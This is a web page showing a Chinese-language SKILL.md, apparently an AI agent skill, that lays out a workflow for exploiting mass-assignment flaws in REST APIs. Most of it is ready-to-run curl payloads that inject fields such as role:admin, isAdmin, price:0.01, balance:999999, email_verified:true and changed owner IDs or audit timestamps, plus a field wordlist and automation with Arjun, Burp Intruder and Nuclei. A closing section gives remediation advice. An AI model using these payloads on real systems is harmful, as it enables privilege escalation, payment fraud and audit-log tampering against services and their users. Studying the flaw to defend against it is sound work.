인터페이스는 현지화되어 있으며, Skill 소개와 설명 문서는 선택한 언어로 AI가 자동 번역합니다. 코드·명령어·경로·전문 용어는 원문을 유지하며 원작자 문서가 우선합니다.
Skills 둘러보기
생산성 및 협업 · SKILL.md

exploiting-mass-assignment-in-rest-apis

exploiting-mass-assignment-in-rest-apis

发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill 문서

GitHub

name: exploiting-mass-assignment-in-rest-apis description: 发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。 domain: cybersecurity subdomain: web-application-security tags: [mass-assignment, api-security, privilege-escalation, rest-api, autobinding, parameter-injection, owasp-api] version: "1.0" author: mahipal license: Apache-2.0

利用 REST API 中的批量赋值漏洞(Exploiting Mass Assignment in REST APIs)

适用场景

  • 测试接受 JSON 输入用于创建或更新资源的 REST API 时
  • 在使用 ORM 框架(Rails、Django、Laravel、Spring)的应用程序 API 安全评估期间
  • 测试用户注册、个人资料更新或账户管理端点时
  • 在具有 CRUD API 操作的应用程序漏洞奖励计划中
  • 评估 API 驱动应用程序中基于角色的访问控制实现时

前置条件

  • 用于 API 请求构建和拦截的 Burp Suite 或 Postman
  • 了解常见框架中的 ORM 自动绑定行为
  • 通过侦察获取 API 文档或端点发现
  • 具有不同权限级别的多个用户账户用于测试
  • 了解常见敏感字段(role、isAdmin、verified、balance、price)
  • 用于隐藏参数发现的 Arjun 或 param-miner

工作流程

步骤 1:发现 API 结构和字段

# 检查 API 响应以识别所有对象字段
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# 响应揭示字段:id、username、email、role、isAdmin、verified、balance

# 检查 API 文档中暴露的模式
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# 使用 Arjun 发现隐藏参数
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# 比较创建/更新请求体与响应体
# 响应可能包含比请求发送更多的字段
# 这些额外字段是批量赋值候选者

步骤 2:通过角色字段测试权限提升

# 在个人资料更新中注入角色/管理员字段
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# 尝试常见管理员字段名
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# 在注册期间测试
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

步骤 3:测试财务和业务逻辑字段

# 修改价格或余额字段
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# 修改账户余额
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# 修改折扣或优惠券字段
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# 修改订阅级别
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

步骤 4:测试验证和状态字段

# 绕过电子邮件验证
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# 修改账户状态
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# 修改所有权/组织
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

步骤 5:测试关系和外键操纵

# 更改资源所有权
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# 分配到不同组/团队
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# 修改 created_at/updated_at 以操纵审计日志
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

步骤 6:自动化批量赋值测试

# 使用 Burp Intruder 配合字段名字典
# 常见批量赋值字段字典:
# role、admin、isAdmin、is_admin、user_type、privilege、level
# verified、email_verified、active、banned、suspended
# balance、credits、price、discount、plan、tier
# owner_id、organization_id、team_id、group_id

# Python 自动化脚本
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei 批量赋值模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

核心概念

概念定义
批量赋值(Mass Assignment)ORM 将请求参数自动绑定到模型属性而不加限制
自动绑定(Autobinding)将 HTTP 参数直接映射到对象属性的框架功能
允许列表(Allowlist)用于更新操作的服务器端允许字段列表(Rails 中的 strong_parameters)
拒绝列表(Denylist)禁止字段列表(不如允许列表方法安全)
隐藏字段(Hidden Fields)服务器管理的字段(role、balance),不在表单中显示但被 API 接受
DTO(数据传输对象)使用单独对象分离输入和数据库以防止批量赋值的模式
参数污染(Parameter Pollution)在合法参数旁边发送意外的额外参数

工具与系统

工具用途
Burp SuiteAPI 请求拦截和参数注入
PostmanAPI 测试和基于集合的批量赋值测试
ArjunAPI 端点的隐藏参数发现工具
param-miner用于发现隐藏参数的 Burp 扩展
OWASP ZAP带参数注入的自动化 API 扫描
swagger-codegen从 OpenAPI 规范生成用于测试的 API 客户端

常见场景

  1. 管理员权限提升 — 在个人资料更新中注入 "role":"admin" 或 "isAdmin":true 以获取管理员访问权限
  2. 价格操纵 — 在订单创建端点中修改 price 或 discount 字段以较低价格购买商品
  3. 电子邮件验证绕过 — 在注册或个人资料更新期间设置 email_verified:true 以绕过验证要求
  4. 账户接管 — 将 email 或 phone 字段修改为攻击者控制的值,然后触发密码重置
  5. 订阅升级 — 在订阅更新中注入 plan:"enterprise" 以无需付款获取高级功能

输出格式

## 批量赋值漏洞报告
- **目标**: http://target.com/api/users/me
- **方法**: PATCH
- **框架**: Ruby on Rails(通过 X-Powered-By 检测)

### 发现
| # | 端点 | 注入字段 | 原始值 | 修改值 | 影响 |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | 权限提升 |
| 2 | POST /api/orders | price | 99.99 | 0.01 | 财务损失 |
| 3 | PATCH /api/users/me | email_verified | false | true | 验证绕过 |

### 修复建议
- 为所有模型更新操作实施允许列表(strong_parameters)
- 使用 DTO/ViewModel 将 API 输入与数据库模型解耦
- 对敏感属性应用字段级授权检查
- 记录并警报尝试修改受限字段的行为
저장한 Skills